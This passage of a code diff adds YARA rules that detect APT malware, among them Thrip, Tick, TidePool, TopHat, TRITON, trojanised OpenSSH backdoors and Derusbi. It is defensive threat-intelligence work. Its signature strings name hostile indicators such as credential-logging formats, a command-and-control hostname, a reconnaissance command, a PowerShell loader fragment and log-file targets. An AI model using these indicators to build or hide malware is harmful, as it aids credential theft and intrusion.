+      reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+      date = "2018-06-21"
+      hash1 = "2b1c1c6d82837dbbccd171a0413c1d761b1f7c3668a21c63ca06143e731f030e"
+      id = "58be9a1b-2228-5d7a-97c9-198cacbe1a66"
+   strings:
+      $s1 = "[%d] Failed, %08X" fullword ascii
+      $s2 = "woqunimalegebi" fullword ascii
+      $s3 = "[%d] Offset can not fetched." fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB
+      and ( all of them or pe.imphash() == "c6a4c95d868a3327a62c9c45f5e15bbf" )
+}
+
+rule APT_Thrip_Sample_Jun18_17 {
+   meta:
+      description = "Detects sample found in Thrip report by Symantec "
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+      date = "2018-06-21"
+      hash1 = "05036de73c695f59adf818d3c669c48ce8626139d463b8a7e869d8155e5c0d85"
+      hash2 = "08d8c610e1ec4a02364cb53ba44e3ca5d46e8a177a0ecd50a1ef7b5db252701d"
+      hash3 = "14535607d9a7853f13e8bf63b629e3a19246ed9db6b4d2de2ca85ec7a7bee140"
+      id = "e314a893-1ef5-5d5f-b056-af25765c0b70"
+   strings:
+      $x1 = "c:\\users\\administrator\\desktop\\code\\skeyman2\\" ascii
+      $x2 = "\\SkeyMan2.pdb" ascii
+      $x3 = "\\\\.\\Pnpkb" fullword ascii
+
+      $s1 = "\\DosDevices\\Pnpkb" wide
+      $s2 = "\\DosDevices\\PnpKb" wide
+      $s3 = "\\Driver\\kbdhid" wide
+      $s4 = "\\Device\\PnpKb" wide
+      $s5 = "Microsoft  Windows Operating System" fullword wide
+      $s6 = "hDevice == INVALID_HANDLE_VALUE" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 20KB and ( 1 of ($x*) and 1 of ($s*) )
+}
+
+rule APT_Thrip_Sample_Jun18_18 {
+   meta:
+      description = "Detects sample found in Thrip report by Symantec "
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+      date = "2018-06-21"
+      hash1 = "33029f5364209e05481cfb2a4172c6dc157b0070f51c05dd34485b8e8da6e820"
+      hash2 = "263c01a3b822722dc288a5ac138d953630d8c548a0bee080ae3979b7d364cecb"
+      hash3 = "52d190a8d20b4845551b8765cbd12cfbe04cf23e6812e238e5a5023c34ee9b37"
+      hash4 = "1f019e3c30a02b7b65f7984903af11d561d02b2666cc16463c274a2a0e62145d"
+      hash5 = "43904ea071d4dce62a21c69b8d6efb47bcb24c467c6f6b3a6a6ed6cd2158bfe5"
+      hash6 = "00d9da2b665070d674acdbb7c8f25a01086b7ca39d482d55f08717f7383ee26a"
+      id = "20642526-5a4d-5dca-a6f5-29f19a9b5271"
+   strings:
+      $s1 = "Windows 95/98/Me, Windows NT 4.0, Windows 2000/XP: IME PROCESS key" fullword ascii
+      $s2 = "Windows 2000/XP: Either the angle bracket key or the backslash key on the RT 102-key keyboard" fullword ascii
+      $s3 = "LoadLibraryA() failed in KbdGetProcAddressByName()" fullword ascii
+      $s5 = "Unknown Virtual-Key Code" fullword ascii
+      $s6 = "Computer Sleep key" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
diff --git a/yara-Neo23x0/apt_tick_datper.yar b/yara-Neo23x0/apt_tick_datper.yar
new file mode 100644
index 0000000..24afaa4
--- /dev/null
+++ b/yara-Neo23x0/apt_tick_datper.yar
@@ -0,0 +1,45 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-08-21
+   Identifier: Datper Malware
+   Reference: http://blog.jpcert.or.jp/2017/08/detecting-datper-malware-from-proxy-logs.html
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule Datper_Backdoor {
+   meta:
+      description = "Detects Datper Malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://blog.jpcert.or.jp/2017/08/detecting-datper-malware-from-proxy-logs.html"
+      date = "2017-08-21"
+      hash1 = "7d70d659c421b50604ce3e0a1bf423ab7e54b9df361360933bac3bb852a31849"
+      hash2 = "331ac0965b50958db49b7794cc819b2945d7b5e5e919c185d83e997e205f107b"
+      hash3 = "90ac1fb148ded4f46949a5fea4cd8c65d4ea9585046d66459328a5866f8198b2"
+      hash4 = "12d9b4ec7f8ae42c67a6fd030efb027137dbe29e63f6f669eb932d0299fbe82f"
+      hash5 = "2384e8ad8eee6db1e69b3ee7b6b3d01ae09f99a86901a0a87fb2788c1115090c"
+      hash6 = "1e511c32cdf8abe23d8ba7c39da5ce7fc6c87fdb551c9fc3265ee22ac4076e27"
+      hash7 = "7bc042b9a599e1024a668b9921e2a42a02545429cf446d5b3d21f20185afa6ce"
+      id = "547db8bb-cc02-5521-8b85-845b1652fee9"
+   strings:
+      $s1 = "RtlGetCo" fullword ascii
+      $s2 = "hutils" fullword ascii
+      $s3 = "kza2FWU,f;\"3U&zpa3U(W`J" fullword ascii
+
+      $c1 = "dkkwldngn" fullword ascii
+      $c2 = "ndkkwqgcm" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and
+        filesize < 300KB and
+        (
+           pe.imphash() == "58db98e2334746d349d607e4d73bc5ea" or
+           pe.imphash() == "8fbed921458af485ce84fb7d9b13899e" or
+           ( 2 of ($s*) and 1 of ($c*) ) or
+           ( $s3 and $c1 )
+         )
+      )
+}
diff --git a/yara-Neo23x0/apt_tick_weaponized_usb.yar b/yara-Neo23x0/apt_tick_weaponized_usb.yar
new file mode 100644
index 0000000..9f21d98
--- /dev/null
+++ b/yara-Neo23x0/apt_tick_weaponized_usb.yar
@@ -0,0 +1,58 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-06-23
+   Identifier: Tick Group - Weaponized USB
+   Reference: https://researchcenter.paloaltonetworks.com/2018/06/unit42-tick-group-weaponized-secure-usb-drives-target-air-gapped-critical-systems/
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule APT_Tick_Sysmon_Loader_Jun18 {
+   meta:
+      description = "Detects Sysmon Loader from Tick group incident - Weaponized USB"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2018/06/unit42-tick-group-weaponized-secure-usb-drives-target-air-gapped-critical-systems/"
+      date = "2018-06-23"
+      hash1 = "31aea8630d5d2fcbb37a8e72fe4e096d0f2d8f05e03234645c69d7e8b59bb0e8"
+      id = "eae013c3-4774-5342-bd1a-5f2825612747"
+   strings:
+      $x1 = "SysMonitor_3A2DCB47" fullword ascii
+
+      $s1 = "msxml.exe" fullword ascii
+      $s2 = "wins.log" fullword ascii
+      $s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\run" fullword ascii
+      $s4 = "%2d-%2d-%2d-%2d" fullword ascii
+      $s5 = "%USERPROFILE%" fullword ascii /* Goodware String - occured 22 times */
+      $s6 = "Windows NT" fullword ascii /* Goodware String - occured 72 times */
+      $s7 = "device monitor" fullword ascii
+      $s8 = "\\Accessories" ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and (
+         pe.imphash() == "c5bb16e79fb500c430edce9481ae5b2b" or
+         $x1 or 6 of them
+      )
+}
+
+rule APT_Tick_HomamDownloader_Jun18 {
+   meta:
+      description = "Detects HomamDownloader from Tick group incident - Weaponized USB"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2018/06/unit42-tick-group-weaponized-secure-usb-drives-target-air-gapped-critical-systems/"
+      date = "2018-06-23"
+      hash1 = "f817c9826089b49d251b8a09a0e9bf9b4b468c6e2586af60e50afe48602f0bec"
+      id = "8ec52cb7-41a4-50a9-9cb1-23bee354680f"
+   strings:
+      $s1 = "cmd /c hostname >>" fullword ascii
+      $s2 = "Mstray.exe" fullword ascii
+      $s3 = "msupdata.exe" fullword ascii
+      $s5 = "Windows\\CurrentVersion\\run" fullword ascii
+      $s6 = "Content-Type: */*" fullword ascii
+      $s11 = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" fullword ascii /* Goodware String - occured 3 times */
+   condition:
+      uint16(0) == 0x5a4d and filesize < 30KB and 3 of them
+}
diff --git a/yara-Neo23x0/apt_tidepool.yar b/yara-Neo23x0/apt_tidepool.yar
new file mode 100644
index 0000000..bb89f3a
--- /dev/null
+++ b/yara-Neo23x0/apt_tidepool.yar
@@ -0,0 +1,32 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-05-24
+	Identifier: TidePool (Ke3chang)
+*/
+
+rule TidePool_Malware {
+	meta:
+		description = "Detects TidePool malware mentioned in Ke3chang report by Palo Alto Networks"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/m2CXWR"
+		date = "2016-05-24"
+		hash1 = "9d0a47bdf00f7bd332ddd4cf8d95dd11ebbb945dda3d72aac512512b48ad93ba"
+		hash2 = "67c4e8ab0f12fae7b4aeb66f7e59e286bd98d3a77e5a291e8d58b3cfbc1514ed"
+		hash3 = "2252dcd1b6afacde3f94d9557811bb769c4f0af3cb7a48ffe068d31bb7c30e18"
+		hash4 = "38f2c86041e0446730479cdb9c530298c0c4936722975c4e7446544fd6dcac9f"
+		hash5 = "9d0a47bdf00f7bd332ddd4cf8d95dd11ebbb945dda3d72aac512512b48ad93ba"
+		id = "eec12fd7-f5f8-5bee-98e0-2111766deb55"
+	strings:
+		$x1 = "Content-Disposition: form-data; name=\"m1.jpg\"" fullword ascii
+		$x2 = "C:\\PROGRA~2\\IEHelper\\mshtml.dll" fullword wide
+		$x3 = "C:\\DOCUME~1\\ALLUSE~1\\IEHelper\\mshtml.dll" fullword wide
+		$x4 = "IEComDll.dat" fullword ascii
+
+		$s1 = "Content-Type: multipart/form-data; boundary=----=_Part_%x" fullword wide
+		$s2 = "C:\\Windows\\System32\\rundll32.exe" fullword wide
+		$s3 = "network.proxy.socks_port\", " fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and ( 1 of ($x*) ) ) or ( 4 of them )
+}
diff --git a/yara-Neo23x0/apt_tophat.yar b/yara-Neo23x0/apt_tophat.yar
new file mode 100644
index 0000000..61f91b2
--- /dev/null
+++ b/yara-Neo23x0/apt_tophat.yar
@@ -0,0 +1,78 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-01-29
+   Identifier: TopHat
+   Reference: https://researchcenter.paloaltonetworks.com/2018/01/unit42-the-tophat-campaign-attacks-within-the-middle-east-region-using-popular-third-party-services/#appendix
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule TopHat_Malware_Jan18_1 {
+   meta:
+      description = "Detects malware from TopHat campaign"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2018/01/unit42-the-tophat-campaign-attacks-within-the-middle-east-region-using-popular-third-party-services/#appendix"
+      date = "2018-01-29"
+      hash1 = "5c0b253966befd57f4d22548f01116ffa367d027f162514c1b043a747bead596"
+      hash2 = "1f9bca1d5ce5d14d478d32f105b3ab5d15e1c520bde5dfca22324262e84d4eaf"
+      id = "ec290eee-a21e-548d-b7cc-3e25e7c39d22"
+   strings:
+      $s1 = "WINMGMTS:\\\\.\\ROOT\\CIMV2" fullword ascii
+      $s2 = "UENCRYPTION" fullword ascii
+      $s3 = "TEXPORTAPIS" fullword ascii
+      $s4 = "tcustommemorystream" fullword ascii
+      $s5 = "tmemorystream" fullword ascii
+      $s6 = "ExtrasNoteCONSOLEemb" fullword ascii
+      $s7 = "DIALOG INCLUDE" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 400KB and (
+        pe.imphash() == "c221006b240b1c993217bd61e5ee31b6" or
+        6 of them
+      )
+}
+
+rule TopHat_Malware_Jan18_2 {
+   meta:
+      description = "Auto-generated rule - file e.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2018/01/unit42-the-tophat-campaign-attacks-within-the-middle-east-region-using-popular-third-party-services/#appendix"
+      date = "2018-01-29"
+      modified = "2023-01-06"
+      hash1 = "9580d15a06cd59c01c59bca81fa0ca8229f410b264a38538453f7d97bfb315e7"
+      id = "a1b8e477-df8a-5ff4-9108-541a0f082f77"
+   strings:
+      $s1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\FontSubstitutes" fullword ascii
+      $s2 = "\\SYSTEM\\CurrentControlSet\\Control\\Keyboard Layouts\\" ascii
+      $s3 = "LError loading dock zone from the stream. Expecting version %d, but found %d." fullword wide
+      $s4 = "WINMGMTS:\\\\.\\ROOT\\CIMV2" fullword ascii
+      $s5 = "UENCRYPTION" fullword ascii
+      $s6 = "TEXPORTAPIS" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB and (
+        pe.imphash() == "f98cebcae832abc3c46e6e296aecfc03" and
+        5 of them
+      )
+}
+
+rule TopHat_BAT {
+   meta:
+      description = "Auto-generated rule - file cgen.bat"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2018/01/unit42-the-tophat-campaign-attacks-within-the-middle-east-region-using-popular-third-party-services/#appendix"
+      date = "2018-01-29"
+      hash1 = "f998271c4140caad13f0674a192093092e2a9f7794a7fbbdaa73ae8f2496c387"
+      hash2 = "0fbc6fd653b971c8677aa17ecd2749200a4a563f9dd5409cfb26d320618db3e2"
+      id = "81e84f1b-0ee7-530d-91ea-645c0994e68f"
+   strings:
+      $s1 = "= New-Object IO.MemoryStream(,[Convert]::FromBase64String(\"" ascii
+      $s2 = "goto Start" fullword ascii
+      $s3 = ":Start" fullword ascii
+   condition:
+      filesize < 5KB and all of them
+}
diff --git a/yara-Neo23x0/apt_triton.yar b/yara-Neo23x0/apt_triton.yar
new file mode 100644
index 0000000..a8a89c4
--- /dev/null
+++ b/yara-Neo23x0/apt_triton.yar
@@ -0,0 +1,85 @@
+rule TRITON_ICS_FRAMEWORK {
+      meta:
+          author = "nicholas.carr @itsreallynick"
+          hash = "0face841f7b2953e7c29c064d6886523"
+          description = "TRITON framework recovered during Mandiant ICS incident response"
+          reference = "https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html"
+          id = "af21e55e-ab09-5800-8aac-aee63ae8582c"
+      strings:
+          $python_compiled = ".pyc" nocase ascii wide
+          $python_module_01 = "__module__" nocase ascii wide
+          $python_module_02 = "<module>" nocase ascii wide
+          $python_script_01 = "import Ts" nocase ascii wide
+          $python_script_02 = "def ts_" nocase ascii wide
+
+          $py_cnames_01 = "TS_cnames.py" nocase ascii wide
+          $py_cnames_02 = "TRICON" nocase ascii wide
+          $py_cnames_03 = "TriStation " nocase ascii wide
+          $py_cnames_04 = " chassis " nocase ascii wide
+
+          $py_tslibs_01 = "GetCpStatus" nocase ascii wide
+          $py_tslibs_03 = " sequence" nocase ascii wide
+          $py_tslibs_04 = /import Ts(Hi|Low|Base)[^:alpha:]/ nocase ascii wide
+          $py_tslibs_05 = /module\s?version/ nocase ascii wide
+          $py_tslibs_07 = "prog_cnt" nocase ascii wide
+
+          $py_tsbase_01 = "TsBase.py" nocase ascii wide
+          $py_tsbase_02 = ".TsBase(" nocase ascii wide
+
+          $py_tshi_01 = "TsHi.py" nocase ascii wide
+          $py_tshi_02 = "keystate" nocase ascii wide
+          $py_tshi_03 = "GetProjectInfo" nocase ascii wide
+          $py_tshi_04 = "GetProgramTable" nocase ascii wide
+          $py_tshi_05 = "SafeAppendProgramMod" nocase ascii wide
+
+          $py_tslow_01 = "TsLow.py" nocase ascii wide
+          $py_tslow_02 = "print_last_error" ascii nocase wide
+          $py_tslow_03 = ".TsLow(" ascii nocase wide
+          $py_tslow_05 = " TCM found" nocase ascii wide  
+
+          $py_crc_01 = "crc.pyc" nocase ascii wide
+          $py_crc_02 = "CRC16_MODBUS" ascii wide
+          $py_crc_03 = "Kotov Alaxander" nocase ascii wide
+          $py_crc_04 = "CRC_CCITT_XMODEM" ascii wide
+          $py_crc_05 = "crc16ret" ascii wide
+          $py_crc_06 = "CRC16_CCITT_x1D0F" ascii wide
+          $py_crc_07 = /CRC16_CCITT[^_]/ ascii wide
+
+          $py_sh_01 = "sh.pyc" nocase ascii wide
+
+          $py_keyword_01 = " FAILURE" ascii wide
+          $py_keyword_02 = "symbol table" nocase ascii wide
+
+          $py_TRIDENT_01 = "inject.bin" ascii nocase wide
+          $py_TRIDENT_02 = "imain.bin" ascii nocase wide
+
+      condition:
+          2 of ($python_*) and 7 of ($py_*) and filesize < 3MB
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-12-14
+   Identifier: Triton
+   Reference: https://goo.gl/vtQoCQ
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Triton_trilog {
+   meta:
+      description = "Detects Triton APT malware - file trilog.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/vtQoCQ"
+      date = "2017-12-14"
+      hash1 = "e8542c07b2af63ee7e72ce5d97d91036c5da56e2b091aa2afe737b224305d230"
+      id = "ae2c9b47-2a67-50c6-9d2a-dc47b4fa69ef"
+   strings:
+      $s1 = "inject.bin" ascii
+      $s2 = "PYTHON27.DLL" fullword ascii
+      $s3 = "payload" ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 60KB and all of them
+}
diff --git a/yara-Neo23x0/apt_triton_mal_sshdoor.yar b/yara-Neo23x0/apt_triton_mal_sshdoor.yar
new file mode 100644
index 0000000..3572570
--- /dev/null
+++ b/yara-Neo23x0/apt_triton_mal_sshdoor.yar
@@ -0,0 +1,215 @@
+
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2018, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+// MODIFIED VERSION
+// Mofificaton applied by Florian Roth 05.12.2018
+// Reasons for the changes:
+//    - Cleaner rule structure (no inter-dependencies)
+//    - Performance
+//    - Limited rules to ELF files to reduce false positive rate
+// Disadvantage:
+//    - Lost family identification (see the original rules)
+//    - Missing rule (the one with the expected & relevant performance impact)
+
+rule MAL_LNX_SSHDOOR_Triton {
+   meta:
+      description = "Signature detecting "
+      author = "Marc-Etienne M.Leveille, modified by Florian Roth"
+      email  = "leveille@eset.com"
+      reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+      date = "2018-12-05"
+      license = "BSD 2-Clause"
+      id = "51ec2e60-d84a-5271-a7fe-e12d597be00c"
+   strings:
+      /* SSH binaries - specific strings */
+      $a_usage1 = "usage: ssh ["
+      $a_usage2 = "usage: %s [options] [command [arg ...]]"
+      $a_old_version1 = "-L listen-port:host:port"
+      $a_old_version2 = "Listen on the specified port (default: 22)"
+      $a_usage = "usage: %s [-46Hv] [-f file] [-p port] [-T timeout] [-t type]"
+      /* SSH binaries - combo required */
+      $ac_usage = "usage: %s [options] [file ...]\n"
+      $ac_log1 = "Could not open a connection to your authentication agent.\n"
+      $ac_pass2 = "Enter your OpenSSH passphrase:"
+      $ac_log2 = "Could not grab %s. A malicious client may be eavesdropping on you"
+      $ac_pass3 = "Enter new passphrase (empty for no passphrase):"
+      $ac_log3 = "revoking certificates by key ID requires specification of a CA key"
+
+      /* Strings from malicious files */
+      /* abafar */
+      $s_log_c =  "%s:%s@%s"
+      $s_log_d =  "%s:%s from %s"
+      /* akiva */
+      $s_log_aki = /(To|From):\s(%s\s\-\s)?%s:%s\n/
+      /* alderaan */
+      $s_log_ald = /login\s(in|at):\s(%s\s)?%s:%s\n/
+      /* ando */
+      $ando_s1 = "%s:%s\n"
+      $ando_s2 = "HISTFILE"
+      $ando_i = "fopen64"
+      $ando_m1 = "cat "
+      $ando_m2 = "mail -s"
+      /* anoat */
+      $s_log_ano = "%s at: %s | user: %s, pass: %s\n"
+      /* batuu */
+      $s_args_bat = "ssh: ~(av[%d]: %s\n)"
+      $s_log_bat = "readpass: %s\n"
+      /* banodan */
+      $s_banodan1 = "g_server"
+      $s_banodan2 = "mine.sock"
+      $s_banodan3 = "tspeed"
+      $s_banodan4 = "6106#x=%d#%s#%s#speed=%s"
+      $s_banodan5 = "usmars.mynetgear.com"
+      $s_banodan6 = "user=%s#os=%s#eip=%s#cpu=%s#mem=%s"
+      /* borleias */
+      $s_borleias_log = "%Y-%m-%d %H:%M:%S [%s]"
+      /* ondaron */
+      $s_daemon = "user:password --> %s:%s\n"
+      $s_client = /user(,|:)(a,)?password@host \-\-> %s(,|:)(b,)?%s@%s\n/
+      /* polis_massa */
+      $s_polis_log = /\b\w+(:|\s-+>)\s%s(:%d)?\s\t(\w+)?:\s%s\s\t(\w+)?:\s%s/
+      /* quarren */
+      $s_quarren_log = "h: %s, u: %s, p: %s\n"
+
+      /* chandrilla */
+      $chandrila_log = "S%s %s:%s"
+      $chandrila_magic = { 05 71 92 7D }
+
+      /* atollon */
+      // single byte offset from base pointer
+      $atollon_bp = /(\xC6\x45.{2}){25}/
+      // dword ss with single byte offset from base pointer
+      $atollon_bp_dw = /(\xC7\x45.{5}){20}/
+      // 4-bytes offset from base pointer
+      $atollon_bp_off = /(\xC6\x85.{5}){25}/
+      // single byte offset from stack pointer
+      $atollon_sp = /(\xC6\x44\x24.{2}){25}/
+      // 4-bytes offset from stack pointer
+      $atollon_sp_off = /(\xC6\x84\x24.{5}){25}/
+      /* other strings */
+      $atollon_f1 = "PEM_read_RSA_PUBKEY"
+      $atollon_f2 = "RAND_add"
+      $atollon_log = "%s:%s"
+      $atollon_rand = "/dev/urandom"
+
+      /* bespin */
+      $bespin_log1 = "%Y-%m-%d %H:%M:%S"
+      $bespin_log2 = "%s %s%s"
+      $bespin_log3 = "[%s]"
+
+      /* coruscant */
+      $coruscant_s1 = "%s:%s@%s\n"
+      $coruscant_s2 = "POST"
+      $coruscant_s3 = "HTTP/1.1"
+
+      /* crait */
+      $crait_i1 = "flock"
+      $crait_i2 = "fchmod"
+      $crait_i3 = "sendto"
+
+      /* jakuu */
+      $jakuu_dec = /GET\s\/\?(s|c)id=/
+      $jakuu_enc1 = "getifaddrs"
+      $jakuu_enc2 = "usleep"
+      $jakuu_ns = "gethostbyname"
+      $jakuu_log = "%s:%s"
+      $jakuu_rc4 = { A1 71 31 17 11 1A 22 27 55 00 66 A3 10 FE C2 10 22 32 6E 95 90 84 F9 11 73 62 95 5F 4D 3B DB DC }
+
+      /* kamino */
+      $kamino_s1 = "/var/log/wtmp"
+      $kamino_s2 = "/var/log/secure"
+      $kamino_s3 = "/var/log/auth.log"
+      $kamino_s4 = "/var/log/messages"
+      $kamino_s5 = "/var/log/audit/audit.log"
+      $kamino_s6 = "/var/log/httpd-access.log"
+      $kamino_s7 = "/var/log/httpd-error.log"
+      $kamino_s8 = "/var/log/xferlog"
+      $kamino_i1 = "BIO_f_base64"
+      $kamino_i2 = "PEM_read_bio_RSA_PUBKEY"
+      $kamino_i3 = "srand"
+      $kamino_i4 = "gethostbyname"
+
+      /* kessel */
+      $kessel_rc4 = "Xee5chu1Ohshasheed1u"
+      $kessel_s1 = "ssh:%s:%s:%s:%s"
+      $kessel_s2 = "sshkey:%s:%s:%s:%s:%s"
+      $kessel_s3 = "sshd:%s:%s"
+      $kessel_i1 = "spy_report"
+      $kessel_i2 = "protoShellCMD"
+      $kessel_i3 = "protoUploadFile"
+      $kessel_i4 = "protoSendReport"
+      $kessel_i5 = "tunRecvDNS"
+      $kessel_i6 = "tunPackMSG"
+
+      /* mimban */
+      $mimban_s1 = "<|||%s|||%s|||%d|||>"
+      $mimban_s2 = />\|\|\|%s\|\|\|%s\|\|\|\d\|\|\|%s\|\|\|%s\|\|\|%s\|\|\|%s\|\|\|</
+      $mimban_s3 = "-----BEGIN PUBLIC KEY-----"
+      $mimban_i1 = "BIO_f_base64"
+      $mimban_i2 = "PEM_read_bio_RSA_PUBKEY"
+      $mimban_i3 = "gethostbyname"
+   condition:
+      uint32be(0) == 0x7f454c46 and // ELF
+      ( 1 of ($a_*) or 2 of ($ac_*) ) // SSH Binary
+      and (
+         ( 1 of ($s*) ) or
+         ( all of ($ando_s*) and ($ando_i or all of ($ando_m*)) ) or
+         ( all of ($atollon*) ) or
+         ( all of ($bespin*) ) or
+         ( all of ($chandrila*) ) or
+         ( all of ($coruscant*) ) or
+         ( 2 of ($crait*) ) or
+         ( $jakuu_log and $jakuu_ns and ($jakuu_dec or all of ($jakuu_enc*) or $jakuu_rc4)) or
+         ( 5 of ($kamino_s*) and 3 of ($kamino_i*) ) or
+         ( 2 of ($kessel_s*) or 2 of ($kessel_i*) or $kessel_rc4 ) or
+         ( 2 of ($mimban_s*) and 2 of ($mimban_i*) )
+      )
+}
+
+/*
+rule endor {
+    meta:
+        description = "Rule to detect Endor family"
+        author = "Hugo Porcher"
+        email  = "hugo.porcher@eset.com"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"
+        date = "2018-12-05"
+        license = "BSD 2-Clause"
+
+    strings:
+        $u = "user: %s"
+        $p = "password: %s"
+
+    condition:
+        ssh_binary and $u and $p in (@u..@u+20)
+}
+*/
diff --git a/yara-Neo23x0/apt_turbo_campaign.yar b/yara-Neo23x0/apt_turbo_campaign.yar
new file mode 100644
index 0000000..b685549
--- /dev/null
+++ b/yara-Neo23x0/apt_turbo_campaign.yar
@@ -0,0 +1,189 @@
+rule apt_nix_elf_derusbi {
+   meta:
+      description = "Detects Derusbi Backdoor ELF"
+      author = "Fidelis Cybersecurity"
+      date = "2016/02/29"
+      modified = "2023-05-04"
+      reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
+      id = "c825c5d6-1c2f-5ee7-871e-4be3f41d73f7"
+   strings:
+      $s1 = "LxMain"
+      $s2 = "execve"
+      $s3 = "kill"
+      $s4 = "cp -a %s %s"
+      $s5 = "%s &"
+      $s6 = "dbus-daemon"
+      $s7 = "--noprofile"
+      $s8 = "--norc"
+      $s9 = "TERM=vt100"
+      $s10 = "/proc/%u/cmdline"
+      $s11 = "loadso"
+      $s12 = "/proc/self/exe"
+      $s13 = "Proxy-Connection: Keep-Alive"
+      $s14 = "Connection: Keep-Alive"
+      $s15 = "CONNECT %s"
+      $s16 = "HOST: %s:%d"
+      $s17 = "User-Agent: Mozilla/4.0"
+      $s18 = "Proxy-Authorization: Basic %s"
+      $s19 = "Server: Apache"
+      $s20 = "Proxy-Authenticate"
+      $s21 = "gettimeofday"
+      $s22 = "pthread_create"
+      $s23 = "pthread_join"
+      $s24 = "pthread_mutex_init"
+      $s25 = "pthread_mutex_destroy"
+      $s26 = "pthread_mutex_lock"
+      $s27 = "getsockopt"
+      $s28 = "socket"
+      $s29 = "setsockopt"
+      $s30 = "select"
+      $s31 = "bind"
+      $s32 = "shutdown"
+      $s33 = "listen"
+      $s34 = "opendir"
+      $s35 = "readdir"
+      $s36 = "closedir"
+      $s37 = "rename"
+   condition:
+      uint32(0) == 0x464c457f and all of them
+}
+
+rule apt_nix_elf_derusbi_kernelModule
+{
+   meta:
+      description = "Detects Derusbi Backdoor ELF Kernel Module"
